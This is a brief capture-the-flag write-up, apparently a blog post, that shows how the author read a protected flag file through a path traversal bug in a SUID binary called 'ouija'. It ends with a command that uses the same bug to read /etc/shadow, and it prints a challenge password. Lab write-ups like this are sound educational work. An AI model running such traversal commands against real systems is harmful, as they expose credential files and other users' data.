Talking to the Dead 3


Submit the contents of flag3.txt from the remote machine.


Password: hacktober-Underdog-Truth-Glimpse


My first step was to find a file named flag3.txt:

$ find / -xdev -name "flag3.txt" 2>/dev/null


$ ls -l /home/spookyboi/Documents/flag3.txt
-rw-rw---- 1 spookyboi spookyboi 47 Oct  6 08:39 /home/spookyboi/Documents/flag3.txt

The flag is located under spookyboi’s home directory and is not readable by my current account. At this point I spent a lot of time looking for a way to gain permissions to the spookyboi account and eventually moved on to solve the Talking to the Dead 4 challenge. After completing that challenge I used the same technique to solve this challenge as well.

I supplied an argument to the SUID binary that would travers out of root’s directory and to the flag file:

$ /usr/local/bin/ouija ../home/spookyboi/Documents/flag3.txt


After the CTF ended the challenge author shared on Slack that this was not the intended solution. The ouija binary was supposed to prevent the reading of files outside of the /root directory.

$ /usr/local/bin/ouija ../etc/shadow                        



Leave a comment